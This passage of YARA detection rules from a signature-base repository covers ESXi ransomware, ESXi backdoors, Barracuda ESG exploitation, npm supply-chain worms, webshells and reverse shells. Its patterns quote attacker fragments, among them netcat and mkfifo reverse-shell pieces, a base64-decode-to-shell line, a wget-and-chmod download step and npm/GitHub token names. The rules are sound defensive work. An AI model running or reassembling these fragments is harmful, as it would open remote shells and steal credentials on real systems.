		$lznt1_compressed_pe_header_large_2 = { 00 b8 00 38 0d 01 00 40 04 38 19 00 10 01 00 00 }
		$lznt1_compressed_pe_header_large_3 = { 00 0e 1f ba 0e 00 b4 09 cd 00 21 b8 01 4c cd 21 }
		$lznt1_compressed_pe_header_large_4 = { 54 68 00 69 73 20 70 72 6f 67 72 00 61 6d 20 63 }
		$lznt1_compressed_pe_header_large_5 = { 61 6e 6e 6f 00 74 20 62 65 20 72 75 6e 00 20 69 }
		$lznt1_compressed_pe_header_large_6 = { 6e 20 44 4f 53 20 00 6d 6f 64 65 2e 0d 0d 0a 02 }
	condition:
		filesize < 200KB and ( $lznt1_compressed_pe_header_small at 0x9ce ) or ( all of ( $lznt1_compressed_pe_header_large_* ) )
}

rule SIGNATURE_BASE_MAL_RANSOM_ELF_Esxi_Attacks_Feb23_1 : FILE
{
	meta:
		description = "Detects ransomware exploiting and encrypting ESXi servers"
		author = "Florian Roth"
		id = "d0a813aa-41f8-57df-b708-18ccb0d7a3e5"
		date = "2023-02-04"
		modified = "2023-12-05"
		reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-14"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_ransom_esxi_attacks_feb23.yar#L30-L56"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "27ff018574323c10821993c30cf74de15121caa92a308fbcae4eceae954e63b6"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66"
	strings:
		$x1 = "usage: encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]" ascii fullword
		$x2 = "[ %s ] - FAIL { Errno: %d }" ascii fullword
		$s1 = "lPEM_read_bio_RSAPrivateKey" ascii fullword
		$s2 = "lERR_get_error" ascii fullword
		$s3 = "get_pk_data: key file is empty!" ascii fullword
		$op1 = { 8b 45 a8 03 45 d0 89 45 d4 8b 45 a4 69 c0 07 53 65 54 89 45 a8 8b 45 a8 c1 c8 19 }
		$op2 = { 48 89 95 40 fd ff ff 48 83 bd 40 fd ff ff 00 0f 85 2e 01 00 00 48 8b 9d 50 ff ff ff 48 89 9d 30 fd ff ff 48 83 bd 30 fd ff ff 00 78 13 f2 48 0f 2a 85 30 fd ff ff }
		$op3 = { 31 55 b4 f7 55 b8 8b 4d ac 09 4d b8 8b 45 b8 31 45 bc c1 4d bc 13 c1 4d b4 1d }
	condition:
		uint16( 0 ) == 0x457f and filesize < 200KB and ( 1 of ( $x* ) or 3 of them ) or 4 of them
}

rule SIGNATURE_BASE_APT_PY_Esxi_Backdoor_Dec22 : FILE
{
	meta:
		description = "Detects Python backdoor found on ESXi servers"
		author = "Florian Roth"
		id = "f0a3b9b9-0031-5d9f-97f8-70f83863ee63"
		date = "2022-12-14"
		modified = "2023-12-05"
		reference = "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_ransom_esxi_attacks_feb23.yar#L58-L71"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "86b628f007720aa706c30d91e845d867ed481d1e99bcc9315c84a4e0b7b1b2a6"
		score = 85
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "cmd = str(base64.b64decode(encoded_cmd), " ascii
		$x2 = "sh -i 2>&1 | nc %s %s > /tmp/" ascii
	condition:
		filesize < 10KB and 1 of them or all of them
}

rule SIGNATURE_BASE_APT_SH_Esxi_Backdoor_Dec22 : FILE
{
	meta:
		description = "Detects malicious script found on ESXi servers"
		author = "Florian Roth"
		id = "983ac20c-2e61-5365-8849-b3aeb999f909"
		date = "2022-12-14"
		modified = "2023-12-05"
		reference = "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_ransom_esxi_attacks_feb23.yar#L73-L87"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "155a90a6c55b99285555634d91a66fca9c7e7297f05314fa4d6ce1d84257ee11"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1" ascii fullword
		$x2 = "/bin/nohup /bin/python -u /store/packages/vmtools.py" ascii
		$x3 = "/bin/rm /bin/hostd-probe.sh.1"
	condition:
		filesize < 10KB and 1 of them
}

rule SIGNATURE_BASE_MAL_RANSOM_SH_Esxi_Attacks_Feb23_2 : FILE
{
	meta:
		description = "Detects script used in ransomware attacks exploiting and encrypting ESXi servers"
		author = "Florian Roth"
		id = "d1282dee-0496-52f1-a2b7-27657ab4df8c"
		date = "2023-02-06"
		modified = "2023-12-05"
		reference = "https://dev.to/xakrume/esxiargs-encryption-malware-launches-massive-attacks-against-vmware-esxi-servers-pfe"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_ransom_esxi_attacks_feb23.yar#L89-L101"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3f240784873a0239cbf61f7f420fdd72b8992d5943ffc3d4dcad43c836569f4d"
		score = 85
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "echo \"START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: " ascii
	condition:
		filesize < 10KB and 1 of them
}

rule SIGNATURE_BASE_SUSP_Esxiargs_Endpoint_Conf_Aug23 : FILE
{
	meta:
		description = "Detects indicators found in endpoint.conf files as modified by actors in the ESXiArgs campaign"
		author = "Florian Roth"
		id = "3e0b5dbf-7c5b-5599-823a-ce35fbdbe64b"
		date = "2023-08-04"
		modified = "2023-12-05"
		reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-47"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_ransom_esxi_attacks_feb23.yar#L103-L120"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "794d460eec0e2f0b48e6ced94b125a1e48acde6be6281866e0b4a2ae6c2d3b51"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$a1 = "/client/clients.xml" ascii
		$a2 = "/var/run/vmware/proxy-sdk-tunnel" ascii fullword
		$a3 = "redirect" ascii fullword
		$a4 = "allow" ascii fullword
		$s1 = " local 8008 allow allow"
	condition:
		filesize < 2KB and all of them
}

rule SIGNATURE_BASE_APT_UNC4841_ESG_Barracuda_CVE_2023_2868_Forensic_Artifacts_Jun23_1 : SCRIPT CVE_2023_2868
{
	meta:
		description = "Detects forensic artifacts found in the exploitation of CVE-2023-2868 in Barracuda ESG devices by UNC4841"
		author = "Florian Roth"
		id = "50518fa1-33de-5fe5-b957-904d976fb29a"
		date = "2023-06-15"
		modified = "2023-06-16"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_barracuda_esg_unc4841_jun23.yar#L2-L28"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fa7cac1e0f6cb6fa3ac271c1fff0039ff182b6859920b4eca25541457654acde"
		score = 75
		quality = 85
		tags = "SCRIPT, CVE-2023-2868"
	strings:
		$x01 = "=;ee=ba;G=s;_ech_o $abcdefg_${ee}se64" ascii
		$x02 = ";echo $abcdefg | base64 -d | sh" ascii
		$x03 = "setsid sh -c \"mkfifo /tmp/p" ascii
		$x04 = "sh -i </tmp/p 2>&1" ascii
		$x05 = "if string.match(hdr:body(), \"^[%w%+/=" ascii
		$x06 = "setsid sh -c \"/sbin/BarracudaMailService eth0\""
		$x07 = "echo \"set the bvp ok\""
		$x08 = "find ${path} -type f ! -name $excludeFileNameKeyword | while read line ;"
		$x09 = " /mail/mstore | xargs -i cp {} /usr/share/.uc/"
		$x10 = "tar -T /mail/mstore/tmplist -czvf "
		$sa1 = "sh -c wget --no-check-certificate http"
		$sa2 = ".tar;chmod +x "
	condition:
		1 of ( $x* ) or all of ( $sa* )
}

rule SIGNATURE_BASE_APT_MAL_UNC4841_SEASPY_Jun23_1 : CVE_2023_2868 FILE
{
	meta:
		description = "Detects SEASPY malware used by UNC4841 in attacks against Barracuda ESG appliances exploiting CVE-2023-2868"
		author = "Florian Roth"
		id = "bcff58f8-87f6-5371-8b96-5d4c0f349000"
		date = "2023-06-16"
		modified = "2023-12-05"
		reference = "https://blog.talosintelligence.com/alchimist-offensive-framework/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_barracuda_esg_unc4841_jun23.yar#L30-L55"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c1dcb841fb872f0d5e661bfd90fca3075f5efc95b1f9dfff72fa318ed131e9d1"
		score = 85
		quality = 85
		tags = "CVE-2023-2868, FILE"
		hash1 = "3f26a13f023ad0dcd7f2aa4e7771bba74910ee227b4b36ff72edc5f07336f115"
	strings:
		$sx1 = "usage: ./BarracudaMailService <Network-Interface>. e.g.: ./BarracudaMailService eth0" ascii fullword
		$s1 = "fcntl.tmp.amd64." ascii
		$s2 = "Child process id:%d" ascii fullword
		$s3 = "[*]Success!" ascii fullword
		$s4 = "NO port code" ascii
		$s5 = "enter open tty shell" ascii
		$op1 = { 48 89 c6 f3 a6 0f 84 f7 01 00 00 bf 6c 84 5f 00 b9 05 00 00 00 48 89 c6 f3 a6 0f 84 6a 01 00 00 }
		$op2 = { f3 a6 0f 84 d2 00 00 00 48 89 de bf 51 5e 61 00 b9 05 00 00 00 f3 a6 74 21 48 89 de }
		$op3 = { 72 de 45 89 f4 e9 b8 f4 ff ff 48 8b 73 08 45 85 e4 ba 49 3d 62 00 b8 44 81 62 00 48 0f 45 d0 }
	condition:
		uint16( 0 ) == 0x457f and filesize < 9000KB and 3 of them or 5 of them
}


rule SIGNATURE_BASE_SUSP_Fscan_Port_Scanner_Output_Jun23 : SCRIPT FILE
{
	meta:
		description = "Detects output generated by the command line port scanner FScan"
		author = "Florian Roth"
		id = "7eb4b27f-0c5b-5d7e-b759-95d7894d5822"
		date = "2023-06-15"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_barracuda_esg_unc4841_jun23.yar#L103-L117"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "49b5055c96d7b7446ee5ae8667a5aa3645f0f98d8b5f2bffcd6ef3b20bc64e05"
		score = 70
		quality = 85
		tags = "SCRIPT, FILE"
	strings:
		$s1 = "[*] NetInfo:" ascii
		$s2 = ":443 open" ascii
		$s3 = "   [->]"
	condition:
		filesize < 800KB and all of them
}

rule SIGNATURE_BASE_SUSP_PY_Shell_Spawn_Jun23_1 : SCRIPT
{
	meta:
		description = "Detects suspicious one-liner to spawn a shell using Python"
		author = "Florian Roth"
		id = "15fd2c9a-c425-5d4d-9209-fd3826074d6c"
		date = "2023-06-15"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_barracuda_esg_unc4841_jun23.yar#L119-L131"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "63e94447930d5a00399de753076facbfb2bf18dd8c815f01aaefd14678aea034"
		score = 70
		quality = 85
		tags = "SCRIPT"
	strings:
		$x1 = "python -c import pty;pty.spawn(\"/bin/" ascii
	condition:
		1 of them
}

rule SIGNATURE_BASE_APT_MAL_Hunting_LUA_SEASIDE_1 : FILE
{
	meta:
		description = "Hunting rule looking for strings observed in SEASIDE samples."
		author = "Mandiant"
		id = "86eaff7b-4ca0-53cd-8886-da66a36c778f"
		date = "2023-06-15"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_barracuda_esg_unc4841_jun23.yar#L136-L152"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "cd2813f0260d63ad5adf0446253c2172"
		logic_hash = "82b61325a78bf8ab09d426cfadceb614a256dfcafb2e1f75595de63593ed2574"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "function on_helo()"
		$s2 = "local bindex,eindex = string.find(helo,'.onion')"
		$s3 = "helosend = 'pd'..' '..helosend"
		$s4 = "os.execute(helosend)"
	condition:
		filesize < 1MB and all of ( $s* )
}

rule SIGNATURE_BASE_APT_MAL_LNX_Hunting_Linux_WHIRLPOOL_1 : FILE
{
	meta:
		description = "Hunting rule looking for strings observed in WHIRLPOOL samples."
		author = "Mandiant"
		id = "a997bd65-c502-53a0-8bb8-62daaa916f0d"
		date = "2023-06-15"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_barracuda_esg_unc4841_jun23.yar#L154-L173"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "177add288b289d43236d2dba33e65956"
		logic_hash = "d03c0e292b9b97bbf76585fc74208e4263d753807b8e4a445be80d41264d5432"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "error -1 exit" fullword
		$s2 = "create socket error: %s(error: %d)\n" fullword
		$s3 = "connect error: %s(error: %d)\n" fullword
		$s4 = {C7 00 20 32 3E 26 66 C7 40 04 31 00}
		$c1 = "plain_connect" fullword
		$c2 = "ssl_connect" fullword
		$c3 = "SSLShell.c" fullword
	condition:
		uint32( 0 ) == 0x464c457f and filesize < 15MB and ( all of ( $s* ) or all of ( $c* ) )
}

rule SIGNATURE_BASE_SUSP_XMRIG_Reference : FILE
{
	meta:
		description = "Detects an executable with a suspicious XMRIG crypto miner reference"
		author = "Florian Roth (Nextron Systems)"
		id = "0a7324ce-90dc-5e6a-b22a-c29eccf324e9"
		date = "2019-06-20"
		modified = "2025-03-21"
		reference = "https://twitter.com/itaitevet/status/1141677424045953024"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_suspicious_strings.yar#L338-L350"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c1e6f5fc390a8ada0688885bba7ed90372915deba5a5e7e5b0cd17ec450ce240"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "\\xmrig\\" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them
}

rule SIGNATURE_BASE_SUSP_PDB_Path_Keywords : FILE
{
	meta:
		description = "Detects suspicious PDB paths"
		author = "Florian Roth (Nextron Systems)"
		id = "cbd9b331-58bb-5b29-88a2-5c19f12893a9"
		date = "2019-10-04"
		modified = "2025-03-21"
		reference = "https://twitter.com/stvemillertime/status/1179832666285326337?s=20"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_suspicious_strings.yar#L367-L393"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "274b4b40190b8f7e3d123fad63e2bb6b2114a3dbef062791d442109cac149b08"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$ = "Debug\\Shellcode" ascii
		$ = "Release\\Shellcode" ascii
		$ = "Debug\\ShellCode" ascii
		$ = "Release\\ShellCode" ascii
		$ = "Debug\\shellcode" ascii
		$ = "Release\\shellcode" ascii
		$ = "shellcode.pdb" nocase ascii
		$ = "\\ShellcodeLauncher" ascii
		$ = "\\ShellCodeLauncher" ascii
		$ = "Fucker.pdb" ascii
		$ = "\\AVFucker\\" ascii
		$ = "ratTest.pdb" ascii
		$ = "Debug\\CVE_" ascii
		$ = "Release\\CVE_" ascii
		$ = "Debug\\cve_" ascii
		$ = "Release\\cve_" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule SIGNATURE_BASE_SUSP_PE_Discord_Attachment_Oct21_1 : FILE
{
	meta:
		description = "Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)"
		author = "Florian Roth (Nextron Systems)"
		id = "7c217350-4a35-505d-950d-1bc989c14bc2"
		date = "2021-10-12"
		modified = "2025-03-21"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_suspicious_strings.yar#L415-L429"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4d84ec50738f4c7aca8e77c3aabdcd77f3071733a2245a58283f070f2b220599"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "https://cdn.discordapp.com/attachments/" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and 1 of them
}

rule SIGNATURE_BASE_SUSP_Encoded_Discord_Attachment_Oct21_1 : FILE
{
	meta:
		description = "Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)"
		author = "Florian Roth (Nextron Systems)"
		id = "06c086f4-8b79-5506-9e3f-b5d099106157"
		date = "2021-10-12"
		modified = "2025-03-21"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_suspicious_strings.yar#L431-L456"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1ea5a83e91b5c5b4b8a1d507c365bc1583394c97a28b7d7a576f085854676769"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$enc_b01 = "Y2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRz" ascii wide
		$enc_b02 = "Nkbi5kaXNjb3JkYXBwLmNvbS9hdHRhY2htZW50c" ascii wide
		$enc_b03 = "jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudH" ascii wide
		$enc_b04 = "AGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABz" ascii wide
		$enc_b05 = "BjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAc" ascii wide
		$enc_b06 = "AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AH" ascii wide
		$enc_h01 = "63646E2E646973636F72646170702E636F6D2F6174746163686D656E7473" ascii wide
		$enc_h02 = "63646e2e646973636f72646170702e636f6d2f6174746163686d656e7473" ascii wide
		$enc_r01 = "stnemhcatta/moc.ppadrocsid.ndc" ascii wide
	condition:
		filesize < 5000KB and 1 of them
}

rule SIGNATURE_BASE_MAL_JS_NPM_Supplychain_Attack_Nov25 : FILE
{
	meta:
		description = "Detects malicious JavaScript worm bun_environment.js"
		author = "Marius Benthin"
		id = "546c840f-b351-53a5-b00b-34223a2ad021"
		date = "2025-11-24"
		modified = "2025-12-15"
		reference = "https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_npm_supply_chain_nov25.yar#L1-L22"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0"
		logic_hash = "b5a8da01ecb31dfa7a3921847a0fe26021b7618b1ee7a115a366b0854a4fa0a8"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$sa1 = "npm publish"
		$sa2 = "NPM_TOKEN"
		$sa3 = "NPM_CONFIG_TOKEN"
		$sb1 = "GITHUB_"
		$sb2 = "GITLAB_"
		$sb3 = "TEAMCITY_"
	condition:
		filesize < 20MB and all of ( $sa* ) and 2 of ( $sb* )
}

rule SIGNATURE_BASE_SUSP_JS_NPM_Sha1_Hulud_Nov25 : FILE
{
	meta:
		description = "Detects suspicious indicators for Sha1 Hulud worm"
		author = "Marius Benthin"
		id = "81924803-f9fe-51bf-b7b3-8b174c865e59"
		date = "2025-11-24"
		modified = "2025-12-15"
		reference = "https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_npm_supply_chain_nov25.yar#L24-L39"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0"
		logic_hash = "95f7e657108bc63825f969baa28211c5c63746f525db5e71a486d76aaf98ba32"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "Sha1-Hulud:\\x"
		$x2 = "SHA1HULUD\"`"
	condition:
		filesize < 20MB and 1 of them
}

rule SIGNATURE_BASE_SUSP_JS_NPM_Setupscript_Nov25 : FILE
{
	meta:
		description = "Detects suspicious JavaScript which exits silently and checks operating system"
		author = "Marius Benthin"
		id = "1058da69-a0c2-5258-a5b5-1a9995433a3a"
		date = "2025-11-24"
		modified = "2025-12-15"
		reference = "https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_npm_supply_chain_nov25.yar#L41-L61"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a"
		logic_hash = "b685f642d1d62200da973aad7fd7a2d606a098b92524aaebe5e2bb45c63f3155"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$sa1 = "require('child_process')"
		$sa2 = "process.platform ==="
		$sb1 = "().catch((e"
		$sb2 = "process.exit(0)"
	condition:
		filesize < 100KB and all of ( $sa* ) and $sb1 in ( filesize - 50 .. filesize ) and $sb2 in ( filesize - 30 .. filesize )
}

rule SIGNATURE_BASE_MAL_NPM_Supplychain_Attack_Preinstallscript_Nov25 : FILE
{
	meta:
		description = "Detects known malicious preinstall script in package.json"
		author = "Marius Benthin"
		id = "a94f2c7b-4d0c-54b3-8370-556f8b507759"
		date = "2025-11-24"
		modified = "2025-12-16"
		reference = "https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_npm_supply_chain_nov25.yar#L63-L76"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "c4bc2afd133916f064f2fb7d1e2e067ea65db33463eeae2fa54a9860a6303865"
		logic_hash = "7472fc4759bbf03abd05a0eade1144c7ca3ab31af26ed4eab4028056027b2e47"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "\"preinstall\": \"node setup_bun.js\""
	condition:
		filesize < 10KB and all of them
}

rule SIGNATURE_BASE_WEBSHELL_PAS_Webshell : FILE
{
	meta:
		description = "Detects P.A.S. PHP webshell - Based on DHS/FBI JAR-16-2029 (Grizzly  Steppe)"
		author = "FR/ANSSI/SDO (modified by Florian Roth)"
		id = "862aab77-936e-524c-8669-4f48730f4ed5"
		date = "2021-02-15"
		modified = "2024-05-25"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_centreon.yar#L10-L28"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "977ee0fdf0e92ccea6b71fea7b2c7aed2965c6966d8af86230ccb0f95b286694"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$php = "<?php"
		$strreplace = "(str_replace("
		$md5 = ".substr(md5(strrev($"
		$gzinflate = "gzinflate"
		$cookie = "_COOKIE"
		$isset = "isset"
	condition:
		( filesize > 20KB and filesize < 200KB ) and all of them
}

rule SIGNATURE_BASE_WEBSHELL_PAS_Webshell_Perlnetworkscript : FILE
{
	meta:
		description = "Detects PERL scripts created by P.A.S. webshell"
		author = "FR/ANSSI/SDO"
		id = "1625b63f-ead7-5712-92b4-0ce6ecc49fd4"
		date = "2021-02-15"
		modified = "2024-05-25"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_centreon.yar#L44-L62"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b170c07a005e737c8069f2cc63f869d4d3ff6593b3bfca5bcaf02d7808da6852"
		score = 90
		quality = 85
		tags = "FILE"
	strings:
		$pl_start = "#!/usr/bin/perl\n$SIG{'CHLD'}='IGNORE'; use IO::Socket; use FileHandle;"
		$pl_status = "$o=\" [OK]\";$e=\" Error: \""
		$pl_socket = "socket(SOCKET, PF_INET, SOCK_STREAM,$tcp) or die print \"$l$e$!$l"
		$msg1 = "print \"$l OK! I\\'m successful connected.$l\""
		$msg2 = "print \"$l OK! I\\'m accept connection.$l\""
	condition:
		filesize < 6000 and ( $pl_start at 0 and all of ( $pl* ) ) or any of ( $msg* )
}

rule SIGNATURE_BASE_HKTL_Reverse_Connect_TCP_PTY_Shell : FILE
{
	meta:
		description = "Detects reverse connect TCP PTY shell"
		author = "Jeff Beley"
		id = "a9a90d67-774b-5b32-97c0-d7e06763f2e9"
		date = "2019-10-19"
		modified = "2023-12-05"
		reference = "https://github.com/infodox/python-pty-shells/blob/master/tcp_pty_backconnect.py"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_python_pty_shell.yar#L1-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6b92077f9ff775ae3f8166f47a32aaa872fcbf7fcefc3789e5411388aac5403a"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "cae9833292d3013774bdc689d4471fd38e4a80d2d407adf9fa99bc8cde3319bf"
	strings:
		$s1 = "os.dup2(s.fileno(),1)" fullword ascii
		$s2 = "pty.spawn(\"/bin/\")" fullword ascii
		$s3 = "os.putenv(\"HISTFILE\",'/dev/null')" fullword ascii
		$s4 = "socket.socket(socket.AF_INET, socket.SOCK_STREAM)" fullword ascii
	condition:
		filesize < 1KB and 2 of them
}


rule SIGNATURE_BASE_MAL_LNX_Camarodragon_Sheel_Oct23 : FILE
{
	meta:
		description = "Detects CamaroDragon's tool named sheel"
		author = "Florian Roth"
		id = "f6f08c0e-236c-5194-9369-da8fdef4aa21"
		date = "2023-10-06"
		modified = "2023-12-05"
		reference = "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_camaro_dragon_oct23.yar#L2-L25"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b06f645b766a099adb71c144bdced70c130735e75d5be6451f71077c7d3a5d19"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "7985f992dcc6fcce76ee2892700c8538af075bd991625156bf2482dbfebd5a5a"
	strings:
